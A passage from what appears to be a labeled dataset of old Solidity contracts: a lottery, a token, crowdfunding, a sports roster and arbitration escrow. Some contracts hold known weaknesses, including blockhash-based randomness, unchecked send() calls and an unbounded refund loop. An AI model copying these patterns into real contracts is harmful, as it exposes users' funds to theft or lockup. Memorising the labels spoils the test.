cicles[currentCicle].ticketsByHash[msg.sender] += 1;
uint commyVal = cicles[currentCicle].currentTicketCost * commyPct / 100;
cicles[currentCicle].winnerPot += msg.value - commyVal;
cicles[currentCicle].commyPot += commyVal;
cicles[currentCicle].numTickets += 1;
cicles[currentCicle].currentTicketCost += cicles[currentCicle].currentTicketCost * costIncrementNormal / 1000;
cicles[currentCicle].lastJackpotChance = block.number - cicles[currentCicle].initialBlock;
cicles[currentCicle].lastPlayer = msg.sender;
setCommyReward(currentCicle);
if(getJackpotResult(currentCicle) == true)
{
emit NewBet(currentCicle, cicles[currentCicle].lastPlayer, cicles[currentCicle].winnerPot, cicles[currentCicle].lastJackpotChance, lastJackpotResult, true);
endCicle(currentCicle, true);
} else {
emit NewBet(currentCicle, msg.sender, 0, cicles[currentCicle].lastJackpotChance, lastJackpotResult, false);
}
}
function getJackpotResult(uint cicleNumber) private returns (bool isWinner) {
lastJackpotResult = uint(blockhash(block.number-1)) % jackpotPossibilities;
if(lastJackpotResult < cicles[cicleNumber].lastJackpotChance) {
isWinner = true;
}
}
event CicleEnded(uint indexed cicleNumber, address winner, uint winnerPrize, uint commyReward, uint lastBlock, bool jackpotVictory);
function endCicle(uint cicleNumber, bool jackpotVictory) private {
cicles[cicleNumber].isActive = false;
emit CicleEnded(cicleNumber, cicles[cicleNumber].lastPlayer, cicles[cicleNumber].winnerPot, cicles[cicleNumber].commyReward, block.number, jackpotVictory);
createNewCicle();
}
function finishByInactivity(uint cicleNumber) public onlyIfNoActivity(cicleNumber) onlyActiveCicle(cicleNumber){
endCicle(cicleNumber, false);
}
function withdraw(uint cicleNumber) public onlyValidCicle(cicleNumber) onlyInactiveCicle(cicleNumber) onlyWithTickets(cicleNumber) {
uint numTickets = cicles[cicleNumber].ticketsByHash[msg.sender];
cicles[cicleNumber].ticketsByHash[msg.sender] = 0;
if(msg.sender != cicles[cicleNumber].lastPlayer){
msg.sender.transfer(cicles[cicleNumber].commyReward * numTickets);
} else {
if(numTickets == 1){
msg.sender.transfer(cicles[cicleNumber].winnerPot);
} else {
msg.sender.transfer(cicles[cicleNumber].winnerPot + (cicles[cicleNumber].commyReward * (numTickets - 1)));
}
}
}
function claimPrizeByInactivity(uint cicleNumber) public onlyValidCicle(cicleNumber) onlyActiveCicle(cicleNumber) onlyIfNoActivity(cicleNumber) onlyLastPlayer(cicleNumber) {
endCicle(cicleNumber, false);
withdraw(cicleNumber);
}
function getCicle(uint cicleNumber) public view returns (address lastPlayer,
uint number,
uint initialBlock,
uint numTickets,
uint currentTicketCost,
uint lastJackpotChance,
uint winnerPot,
uint commyPot,
uint commyReward,
uint lastBetBlock,
bool isActive){
Cicle memory myCurrentCicle = cicles[cicleNumber];
return (myCurrentCicle.lastPlayer,
myCurrentCicle.number,
myCurrentCicle.initialBlock,
myCurrentCicle.numTickets,
myCurrentCicle.currentTicketCost,
myCurrentCicle.lastJackpotChance,
myCurrentCicle.winnerPot,
myCurrentCicle.commyPot,
myCurrentCicle.commyReward,
myCurrentCicle.lastBetBlock,
myCurrentCicle.isActive);
}
function getMyTickets(address myAddress, uint cicleNumber) public view returns (uint myTickets) {
return cicles[cicleNumber].ticketsByHash[myAddress];
}
} | 0 | 1,710 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract YuanTian {
mapping(address => uint256) public balances;
mapping(address => mapping (address => uint256)) public allowed;
using SafeMath for uint256;
address public owner;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
uint256 private constant MAX_UINT256 = 2**256 -1 ;
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
bool lock = false;
constructor(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
owner = msg.sender;
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier isLock {
require(!lock);
_;
}
function setLock(bool _lock) onlyOwner public{
lock = _lock;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function transfer(
address _to,
uint256 _value
) public returns (bool) {
require(balances[msg.sender] >= _value);
require(msg.sender == _to || balances[_to] <= MAX_UINT256 - _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
) public returns (bool) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value);
require(_from == _to || balances[_to] <= MAX_UINT256 -_value);
require(allowance >= _value);
balances[_from] -= _value;
balances[_to] += _value;
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] -= _value;
}
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(
address _owner
) public view returns (uint256) {
return balances[_owner];
}
function approve(
address _spender,
uint256 _value
) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
) public view returns (uint256) {
return allowed[_owner][_spender];
}
} | 1 | 3,093 |
pragma solidity ^0.4.4;
contract CrowdFunding {
struct Funder {
address addr;
uint amount;
}
struct Campaign {
address beneficiary;
uint fundingGoal;
uint numFunders;
uint amount;
uint deadline;
mapping (uint => Funder) funders;
mapping (address => uint) balances;
}
uint numCampaigns;
mapping (uint => Campaign) campaigns;
function newCampaign(address beneficiary, uint goal, uint deadline) returns (uint campaignID) {
campaignID = numCampaigns++;
Campaign c = campaigns[campaignID];
c.beneficiary = beneficiary;
c.fundingGoal = goal;
c.deadline = block.number + deadline;
}
function contribute(uint campaignID) {
Campaign c = campaigns[campaignID];
Funder f = c.funders[c.numFunders++];
f.addr = msg.sender;
f.amount = msg.value;
c.amount += f.amount;
}
function checkGoalReached(uint campaignID) returns (bool reached) {
Campaign c = campaigns[campaignID];
if (c.amount >= c.fundingGoal){
uint i = 0;
uint f = c.numFunders;
c.beneficiary.send(c.amount);
c.amount = 0;
c.beneficiary = 0;
c.fundingGoal = 0;
c.deadline = 0;
c.numFunders = 0;
while (i <= f){
c.funders[i].addr = 0;
c.funders[i].amount = 0;
i++;
}
return true;
}
if (c.deadline <= block.number){
uint j = 0;
uint n = c.numFunders;
c.beneficiary = 0;
c.fundingGoal = 0;
c.numFunders = 0;
c.deadline = 0;
c.amount = 0;
while (j <= n){
c.funders[j].addr.send(c.funders[j].amount);
c.funders[j].addr = 0;
c.funders[j].amount = 0;
j++;
}
return true;
}
return false;
}
} | 0 | 1,098 |
pragma solidity ^0.4.25;
contract CSportsConstants {
uint16 public MAX_MARKETING_TOKENS = 2500;
uint256 public COMMISSIONER_AUCTION_FLOOR_PRICE = 5 finney;
uint256 public COMMISSIONER_AUCTION_DURATION = 14 days;
uint32 constant WEEK_SECS = 1 weeks;
}
contract CSportsAuth is CSportsConstants {
event ContractUpgrade(address newContract);
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
address public commissionerAddress;
bool public paused = false;
bool public isDevelopment = true;
modifier onlyUnderDevelopment() {
require(isDevelopment == true);
_;
}
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCommissioner() {
require(msg.sender == commissionerAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress ||
msg.sender == commissionerAddress
);
_;
}
modifier notContract() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0);
_;
}
function setProduction() public onlyCEO onlyUnderDevelopment {
isDevelopment = false;
}
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) public onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function setCommissioner(address _newCommissioner) public onlyCEO {
require(_newCommissioner != address(0));
commissionerAddress = _newCommissioner;
}
function setCLevelAddresses(address _ceo, address _cfo, address _coo, address _commish) public onlyCEO {
require(_ceo != address(0));
require(_cfo != address(0));
require(_coo != address(0));
require(_commish != address(0));
ceoAddress = _ceo;
cfoAddress = _cfo;
cooAddress = _coo;
commissionerAddress = _commish;
}
function withdrawBalance() external onlyCFO {
cfoAddress.transfer(address(this).balance);
}
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused {
require(paused);
_;
}
function pause() public onlyCLevel whenNotPaused {
paused = true;
}
function unpause() public onlyCEO whenPaused {
paused = false;
}
}
interface CSportsMinter {
function isMinter() external pure returns (bool);
function mintPlayers(uint128[] _md5Tokens, uint256 _startPrice, uint256 _endPrice, uint256 _duration) external;
}
contract CSportsRosterPlayer {
struct RealWorldPlayer {
uint128 md5Token;
uint128 prevCommissionerSalePrice;
uint64 lastMintedTime;
uint32 mintedCount;
bool hasActiveCommissionerAuction;
bool mintingEnabled;
string metadata;
}
}
contract CSportsLeagueRoster is CSportsAuth, CSportsRosterPlayer {
CSportsMinter public minterContract;
RealWorldPlayer[] public realWorldPlayers;
mapping (uint128 => uint32) public md5TokenToRosterIndex;
modifier onlyCoreContract() {
require(msg.sender == address(minterContract));
_;
}
constructor() public {
ceoAddress = msg.sender;
cfoAddress = msg.sender;
cooAddress = msg.sender;
commissionerAddress = msg.sender;
}
function isLeagueRosterContract() public pure returns (bool) {
return true;
}
function realWorldPlayerFromIndex(uint128 idx) public view returns (uint128 md5Token, uint128 prevCommissionerSalePrice, uint64 lastMintedTime, uint32 mintedCount, bool hasActiveCommissionerAuction, bool mintingEnabled) {
RealWorldPlayer memory _rwp;
_rwp = realWorldPlayers[idx];
md5Token = _rwp.md5Token;
prevCommissionerSalePrice = _rwp.prevCommissionerSalePrice;
lastMintedTime = _rwp.lastMintedTime;
mintedCount = _rwp.mintedCount;
hasActiveCommissionerAuction = _rwp.hasActiveCommissionerAuction;
mintingEnabled = _rwp.mintingEnabled;
}
function setCoreContractAddress(address _address) public onlyCEO {
CSportsMinter candidateContract = CSportsMinter(_address);
require(candidateContract.isMinter());
minterContract = candidateContract;
}
function playerCount() public view returns (uint32 count) {
return uint32(realWorldPlayers.length);
}
function addAndMintPlayers(uint128[] _md5Tokens, bool[] _mintingEnabled, uint256 _startPrice, uint256 _endPrice, uint256 _duration) public onlyCommissioner {
addRealWorldPlayers(_md5Tokens, _mintingEnabled);
minterContract.mintPlayers(_md5Tokens, _startPrice, _endPrice, _duration);
}
function addRealWorldPlayers(uint128[] _md5Tokens, bool[] _mintingEnabled) public onlyCommissioner {
if (_md5Tokens.length != _mintingEnabled.length) {
revert();
}
for (uint32 i = 0; i < _md5Tokens.length; i++) {
if ( (realWorldPlayers.length == 0) ||
((md5TokenToRosterIndex[_md5Tokens[i]] == 0) && (realWorldPlayers[0].md5Token != _md5Tokens[i])) ) {
RealWorldPlayer memory _realWorldPlayer = RealWorldPlayer({
md5Token: _md5Tokens[i],
prevCommissionerSalePrice: 0,
lastMintedTime: 0,
mintedCount: 0,
hasActiveCommissionerAuction: false,
mintingEnabled: _mintingEnabled[i],
metadata: ""
});
uint256 _rosterIndex = realWorldPlayers.push(_realWorldPlayer) - 1;
require(_rosterIndex < 4294967295);
md5TokenToRosterIndex[_md5Tokens[i]] = uint32(_rosterIndex);
}
}
}
function setMetadata(uint128 _md5Token, string _metadata) public onlyCommissioner {
uint32 _rosterIndex = md5TokenToRosterIndex[_md5Token];
if ((_rosterIndex > 0) || ((realWorldPlayers.length > 0) && (realWorldPlayers[0].md5Token == _md5Token))) {
realWorldPlayers[_rosterIndex].metadata = _metadata;
}
}
function getMetadata(uint128 _md5Token) public view returns (string metadata) {
uint32 _rosterIndex = md5TokenToRosterIndex[_md5Token];
if ((_rosterIndex > 0) || ((realWorldPlayers.length > 0) && (realWorldPlayers[0].md5Token == _md5Token))) {
metadata = realWorldPlayers[_rosterIndex].metadata;
} else {
metadata = "";
}
}
function removeRealWorldPlayer(uint128 _md5Token) public onlyCommissioner onlyUnderDevelopment {
for (uint32 i = 0; i < uint32(realWorldPlayers.length); i++) {
RealWorldPlayer memory player = realWorldPlayers[i];
if (player.md5Token == _md5Token) {
uint32 stopAt = uint32(realWorldPlayers.length - 1);
for (uint32 j = i; j < stopAt; j++){
realWorldPlayers[j] = realWorldPlayers[j+1];
md5TokenToRosterIndex[realWorldPlayers[j].md5Token] = j;
}
delete realWorldPlayers[realWorldPlayers.length-1];
realWorldPlayers.length--;
break;
}
}
}
function hasOpenCommissionerAuction(uint128 _md5Token) public view onlyCommissioner returns (bool) {
uint128 _rosterIndex = this.getRealWorldPlayerRosterIndex(_md5Token);
if (_rosterIndex == 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) {
revert();
} else {
return realWorldPlayers[_rosterIndex].hasActiveCommissionerAuction;
}
}
function getRealWorldPlayerRosterIndex(uint128 _md5Token) public view returns (uint128) {
uint32 _rosterIndex = md5TokenToRosterIndex[_md5Token];
if (_rosterIndex == 0) {
if ((realWorldPlayers.length > 0) && (realWorldPlayers[0].md5Token == _md5Token)) {
return uint128(0);
}
} else {
return uint128(_rosterIndex);
}
return uint128(0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);
}
function enableRealWorldPlayerMinting(uint128[] _md5Tokens, bool[] _mintingEnabled) public onlyCommissioner {
if (_md5Tokens.length != _mintingEnabled.length) {
revert();
}
for (uint32 i = 0; i < _md5Tokens.length; i++) {
uint32 _rosterIndex = md5TokenToRosterIndex[_md5Tokens[i]];
if ((_rosterIndex > 0) || ((realWorldPlayers.length > 0) && (realWorldPlayers[0].md5Token == _md5Tokens[i]))) {
realWorldPlayers[_rosterIndex].mintingEnabled = _mintingEnabled[i];
} else {
revert();
}
}
}
function isRealWorldPlayerMintingEnabled(uint128 _md5Token) public view returns (bool) {
uint32 _rosterIndex = md5TokenToRosterIndex[_md5Token];
if ((_rosterIndex > 0) || ((realWorldPlayers.length > 0) && (realWorldPlayers[0].md5Token == _md5Token))) {
return realWorldPlayers[_rosterIndex].mintingEnabled;
} else {
revert();
}
}
function updateRealWorldPlayer(uint32 _rosterIndex, uint128 _prevCommissionerSalePrice, uint64 _lastMintedTime, uint32 _mintedCount, bool _hasActiveCommissionerAuction, bool _mintingEnabled) public onlyCoreContract {
require(_rosterIndex < realWorldPlayers.length);
RealWorldPlayer storage _realWorldPlayer = realWorldPlayers[_rosterIndex];
_realWorldPlayer.prevCommissionerSalePrice = _prevCommissionerSalePrice;
_realWorldPlayer.lastMintedTime = _lastMintedTime;
_realWorldPlayer.mintedCount = _mintedCount;
_realWorldPlayer.hasActiveCommissionerAuction = _hasActiveCommissionerAuction;
_realWorldPlayer.mintingEnabled = _mintingEnabled;
}
function setHasCommissionerAuction(uint32 _rosterIndex) public onlyCoreContract {
require(_rosterIndex < realWorldPlayers.length);
RealWorldPlayer storage _realWorldPlayer = realWorldPlayers[_rosterIndex];
require(!_realWorldPlayer.hasActiveCommissionerAuction);
_realWorldPlayer.hasActiveCommissionerAuction = true;
}
function commissionerAuctionComplete(uint32 _rosterIndex, uint128 _price) public onlyCoreContract {
require(_rosterIndex < realWorldPlayers.length);
RealWorldPlayer storage _realWorldPlayer = realWorldPlayers[_rosterIndex];
require(_realWorldPlayer.hasActiveCommissionerAuction);
if (_realWorldPlayer.prevCommissionerSalePrice == 0) {
_realWorldPlayer.prevCommissionerSalePrice = _price;
} else {
_realWorldPlayer.prevCommissionerSalePrice = (_realWorldPlayer.prevCommissionerSalePrice + _price)/2;
}
_realWorldPlayer.hasActiveCommissionerAuction = false;
if (_realWorldPlayer.mintingEnabled) {
uint128[] memory _md5Tokens = new uint128[](1);
_md5Tokens[0] = _realWorldPlayer.md5Token;
minterContract.mintPlayers(_md5Tokens, 0, 0, 0);
}
}
function commissionerAuctionCancelled(uint32 _rosterIndex) public view onlyCoreContract {
require(_rosterIndex < realWorldPlayers.length);
RealWorldPlayer storage _realWorldPlayer = realWorldPlayers[_rosterIndex];
require(_realWorldPlayer.hasActiveCommissionerAuction);
}
} | 1 | 3,271 |
pragma solidity ^0.4.24;
interface IArbitrable {
event MetaEvidence(uint indexed _metaEvidenceID, string _evidence);
event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID, uint _evidenceGroupID);
event Evidence(Arbitrator indexed _arbitrator, uint indexed _evidenceGroupID, address indexed _party, string _evidence);
event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling);
function rule(uint _disputeID, uint _ruling) external;
}
contract Arbitrable is IArbitrable {
Arbitrator public arbitrator;
bytes public arbitratorExtraData;
modifier onlyArbitrator {require(msg.sender == address(arbitrator), "Can only be called by the arbitrator."); _;}
constructor(Arbitrator _arbitrator, bytes memory _arbitratorExtraData) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
}
function rule(uint _disputeID, uint _ruling) public onlyArbitrator {
emit Ruling(Arbitrator(msg.sender),_disputeID,_ruling);
executeRuling(_disputeID,_ruling);
}
function executeRuling(uint _disputeID, uint _ruling) internal;
}
contract Arbitrator {
enum DisputeStatus {Waiting, Appealable, Solved}
modifier requireArbitrationFee(bytes memory _extraData) {
require(msg.value >= arbitrationCost(_extraData), "Not enough ETH to cover arbitration costs.");
_;
}
modifier requireAppealFee(uint _disputeID, bytes memory _extraData) {
require(msg.value >= appealCost(_disputeID, _extraData), "Not enough ETH to cover appeal costs.");
_;
}
event DisputeCreation(uint indexed _disputeID, Arbitrable indexed _arbitrable);
event AppealPossible(uint indexed _disputeID, Arbitrable indexed _arbitrable);
event AppealDecision(uint indexed _disputeID, Arbitrable indexed _arbitrable);
function createDispute(uint _choices, bytes memory _extraData) public requireArbitrationFee(_extraData) payable returns(uint disputeID) {}
function arbitrationCost(bytes memory _extraData) public view returns(uint fee);
function appeal(uint _disputeID, bytes memory _extraData) public requireAppealFee(_disputeID,_extraData) payable {
emit AppealDecision(_disputeID, Arbitrable(msg.sender));
}
function appealCost(uint _disputeID, bytes memory _extraData) public view returns(uint fee);
function appealPeriod(uint _disputeID) public view returns(uint start, uint end) {}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status);
function currentRuling(uint _disputeID) public view returns(uint ruling);
}
contract CentralizedArbitrator is Arbitrator {
address public owner = msg.sender;
uint arbitrationPrice;
uint constant NOT_PAYABLE_VALUE = (2**256-2)/2;
struct DisputeStruct {
Arbitrable arbitrated;
uint choices;
uint fee;
uint ruling;
DisputeStatus status;
}
modifier onlyOwner {require(msg.sender==owner, "Can only be called by the owner."); _;}
DisputeStruct[] public disputes;
constructor(uint _arbitrationPrice) public {
arbitrationPrice = _arbitrationPrice;
}
function setArbitrationPrice(uint _arbitrationPrice) public onlyOwner {
arbitrationPrice = _arbitrationPrice;
}
function arbitrationCost(bytes _extraData) public view returns(uint fee) {
return arbitrationPrice;
}
function appealCost(uint _disputeID, bytes _extraData) public view returns(uint fee) {
return NOT_PAYABLE_VALUE;
}
function createDispute(uint _choices, bytes _extraData) public payable returns(uint disputeID) {
super.createDispute(_choices, _extraData);
disputeID = disputes.push(DisputeStruct({
arbitrated: Arbitrable(msg.sender),
choices: _choices,
fee: msg.value,
ruling: 0,
status: DisputeStatus.Waiting
})) - 1;
emit DisputeCreation(disputeID, Arbitrable(msg.sender));
}
function _giveRuling(uint _disputeID, uint _ruling) internal {
DisputeStruct storage dispute = disputes[_disputeID];
require(_ruling <= dispute.choices, "Invalid ruling.");
require(dispute.status != DisputeStatus.Solved, "The dispute must not be solved already.");
dispute.ruling = _ruling;
dispute.status = DisputeStatus.Solved;
msg.sender.send(dispute.fee);
dispute.arbitrated.rule(_disputeID,_ruling);
}
function giveRuling(uint _disputeID, uint _ruling) public onlyOwner {
return _giveRuling(_disputeID, _ruling);
}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status) {
return disputes[_disputeID].status;
}
function currentRuling(uint _disputeID) public view returns(uint ruling) {
return disputes[_disputeID].ruling;
}
}
contract AppealableArbitrator is CentralizedArbitrator, Arbitrable {
struct AppealDispute {
uint rulingTime;
Arbitrator arbitrator;
uint appealDisputeID;
}
uint public timeOut;
mapping(uint => AppealDispute) public appealDisputes;
mapping(uint => uint) public appealDisputeIDsToDisputeIDs;
constructor(
uint _arbitrationPrice,
Arbitrator _arbitrator,
bytes _arbitratorExtraData,
uint _timeOut
) public CentralizedArbitrator(_arbitrationPrice) Arbitrable(_arbitrator, _arbitratorExtraData) {
timeOut = _timeOut;
}
function changeArbitrator(Arbitrator _arbitrator) external onlyOwner {
arbitrator = _arbitrator;
}
function changeTimeOut(uint _timeOut) external onlyOwner {
timeOut = _timeOut;
}
function getAppealDisputeID(uint _disputeID) external view returns(uint disputeID) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
disputeID = AppealableArbitrator(appealDisputes[_disputeID].arbitrator).getAppealDisputeID(appealDisputes[_disputeID].appealDisputeID);
else disputeID = _disputeID;
}
function appeal(uint _disputeID, bytes _extraData) public payable requireAppealFee(_disputeID, _extraData) {
super.appeal(_disputeID, _extraData);
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
appealDisputes[_disputeID].arbitrator.appeal.value(msg.value)(appealDisputes[_disputeID].appealDisputeID, _extraData);
else {
appealDisputes[_disputeID].arbitrator = arbitrator;
appealDisputes[_disputeID].appealDisputeID = arbitrator.createDispute.value(msg.value)(disputes[_disputeID].choices, _extraData);
appealDisputeIDsToDisputeIDs[appealDisputes[_disputeID].appealDisputeID] = _disputeID;
}
}
function giveRuling(uint _disputeID, uint _ruling) public {
require(disputes[_disputeID].status != DisputeStatus.Solved, "The specified dispute is already resolved.");
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0))) {
require(Arbitrator(msg.sender) == appealDisputes[_disputeID].arbitrator, "Appealed disputes must be ruled by their back up arbitrator.");
super._giveRuling(_disputeID, _ruling);
} else {
require(msg.sender == owner, "Not appealed disputes must be ruled by the owner.");
if (disputes[_disputeID].status == DisputeStatus.Appealable) {
if (now - appealDisputes[_disputeID].rulingTime > timeOut)
super._giveRuling(_disputeID, disputes[_disputeID].ruling);
else revert("Time out time has not passed yet.");
} else {
disputes[_disputeID].ruling = _ruling;
disputes[_disputeID].status = DisputeStatus.Appealable;
appealDisputes[_disputeID].rulingTime = now;
emit AppealPossible(_disputeID, disputes[_disputeID].arbitrated);
}
}
}
function appealCost(uint _disputeID, bytes _extraData) public view returns(uint cost) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
cost = appealDisputes[_disputeID].arbitrator.appealCost(appealDisputes[_disputeID].appealDisputeID, _extraData);
else if (disputes[_disputeID].status == DisputeStatus.Appealable) cost = arbitrator.arbitrationCost(_extraData);
else cost = NOT_PAYABLE_VALUE;
}
function disputeStatus(uint _disputeID) public view returns(DisputeStatus status) {
if (appealDisputes[_disputeID].arbitrator != Arbitrator(address(0)))
status = appealDisputes[_disputeID].arbitrator.disputeStatus(appealDisputes[_disputeID].appealDisputeID);
else status = disputes[_disputeID].status;
}
function executeRuling(uint _disputeID, uint _ruling) internal {
require(
appealDisputes[appealDisputeIDsToDisputeIDs[_disputeID]].arbitrator != Arbitrator(address(0)),
"The dispute must have been appealed."
);
giveRuling(appealDisputeIDsToDisputeIDs[_disputeID], _ruling);
}
}
contract MultipleArbitrableTransaction is IArbitrable {
uint8 constant AMOUNT_OF_CHOICES = 2;
uint8 constant SENDER_WINS = 1;
uint8 constant RECEIVER_WINS = 2;
enum Party {Sender, Receiver}
enum Status {NoDispute, WaitingSender, WaitingReceiver, DisputeCreated, Resolved}
struct Transaction {
address sender;
address receiver;
uint amount;
uint timeoutPayment;
uint disputeId;
uint senderFee;
uint receiverFee;
uint lastInteraction;
Status status;
}
Transaction[] public transactions;
bytes public arbitratorExtraData;
Arbitrator public arbitrator;
uint public feeTimeout;
mapping (uint => uint) public disputeIDtoTransactionID;
event MetaEvidence(uint indexed _metaEvidenceID, string _evidence);
event Payment(uint _transactionID, uint _amount, address _party);
event HasToPayFee(uint indexed _transactionID, Party _party);
event Evidence(Arbitrator indexed _arbitrator, uint indexed _evidenceGroupID, address indexed _party, string _evidence);
event Dispute(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _metaEvidenceID, uint _evidenceGroupID);
event Ruling(Arbitrator indexed _arbitrator, uint indexed _disputeID, uint _ruling);
constructor (
Arbitrator _arbitrator,
bytes _arbitratorExtraData,
uint _feeTimeout
) public {
arbitrator = _arbitrator;
arbitratorExtraData = _arbitratorExtraData;
feeTimeout = _feeTimeout;
}
function createTransaction(
uint _timeoutPayment,
address _receiver,
string _metaEvidence
) public payable returns (uint transactionID) {
transactions.push(Transaction({
sender: msg.sender,
receiver: _receiver,
amount: msg.value,
timeoutPayment: _timeoutPayment,
disputeId: 0,
senderFee: 0,
receiverFee: 0,
lastInteraction: now,
status: Status.NoDispute
}));
emit MetaEvidence(transactions.length - 1, _metaEvidence);
return transactions.length - 1;
}
function pay(uint _transactionID, uint _amount) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.sender == msg.sender, "The caller must be the sender.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
require(_amount <= transaction.amount, "The amount paid has to be less than or equal to the transaction.");
transaction.receiver.transfer(_amount);
transaction.amount -= _amount;
emit Payment(_transactionID, _amount, msg.sender);
}
function reimburse(uint _transactionID, uint _amountReimbursed) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.receiver == msg.sender, "The caller must be the receiver.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
require(_amountReimbursed <= transaction.amount, "The amount reimbursed has to be less or equal than the transaction.");
transaction.sender.transfer(_amountReimbursed);
transaction.amount -= _amountReimbursed;
emit Payment(_transactionID, _amountReimbursed, msg.sender);
}
function executeTransaction(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(now - transaction.lastInteraction >= transaction.timeoutPayment, "The timeout has not passed yet.");
require(transaction.status == Status.NoDispute, "The transaction shouldn't be disputed.");
transaction.receiver.transfer(transaction.amount);
transaction.amount = 0;
transaction.status = Status.Resolved;
}
function timeOutBySender(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.status == Status.WaitingReceiver, "The transaction is not waiting on the receiver.");
require(now - transaction.lastInteraction >= feeTimeout, "Timeout time has not passed yet.");
executeRuling(_transactionID, SENDER_WINS);
}
function timeOutByReceiver(uint _transactionID) public {
Transaction storage transaction = transactions[_transactionID];
require(transaction.status == Status.WaitingSender, "The transaction is not waiting on the sender.");
require(now - transaction.lastInteraction >= feeTimeout, "Timeout time has not passed yet.");
executeRuling(_transactionID, RECEIVER_WINS);
}
function payArbitrationFeeBySender(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
uint arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
require(transaction.status < Status.DisputeCreated, "Dispute has already been created or because the transaction has been executed.");
require(msg.sender == transaction.sender, "The caller must be the sender.");
transaction.senderFee += msg.value;
require(transaction.senderFee >= arbitrationCost, "The sender fee must cover arbitration costs.");
transaction.lastInteraction = now;
if (transaction.receiverFee < arbitrationCost) {
transaction.status = Status.WaitingReceiver;
emit HasToPayFee(_transactionID, Party.Receiver);
} else {
raiseDispute(_transactionID, arbitrationCost);
}
}
function payArbitrationFeeByReceiver(uint _transactionID) public payable {
Transaction storage transaction = transactions[_transactionID];
uint arbitrationCost = arbitrator.arbitrationCost(arbitratorExtraData);
require(transaction.status < Status.DisputeCreated, "Dispute has already been created or because the transaction has been executed.");
require(msg.sender == transaction.receiver, "The caller must be the receiver.");
transaction.receiverFee += msg.value;
require(transaction.receiverFee >= arbitrationCost, "The receiver fee must cover arbitration costs.");
transaction.lastInteraction = now;
if (transaction.senderFee < arbitrationCost) {
transaction.status = Status.WaitingSender;
emit HasToPayFee(_transactionID, Party.Sender);
} else {
raiseDispute(_transactionID, arbitrationCost);
}
}
function raiseDispute(uint _transactionID, uint _arbitrationCost) internal {
Transaction storage transaction = transactions[_transactionID];
transaction.status = Status.DisputeCreated;
transaction.disputeId = arbitrator.createDispute.value(_arbitrationCost)(AMOUNT_OF_CHOICES, arbitratorExtraData);
disputeIDtoTransactionID[transaction.disputeId] = _transactionID;
emit Dispute(arbitrator, transaction.disputeId, _transactionID, _transactionID);
if (transaction.senderFee > _arbitrationCost) {
uint extraFeeSender = transaction.senderFee - _arbitrationCost;
transaction.senderFee = _arbitrationCost;
transaction.sender.send(extraFeeSender);
}
if (transaction.receiverFee > _arbitrationCost) {
uint extraFeeReceiver = transaction.receiverFee - _arbitrationCost;
transaction.receiverFee = _arbitrationCost;
transaction.receiver.send(extraFeeReceiver);
}
}
function submitEvidence(uint _transactionID, string _evidence) public {
Transaction storage transaction = transactions[_transactionID];
require(
msg.sender == transaction.sender || msg.sender == transaction.receiver,
"The caller must be the sender or the receiver."
);
require(
transaction.status < Status.Resolved,
"Must not send evidence if the dispute is resolved."
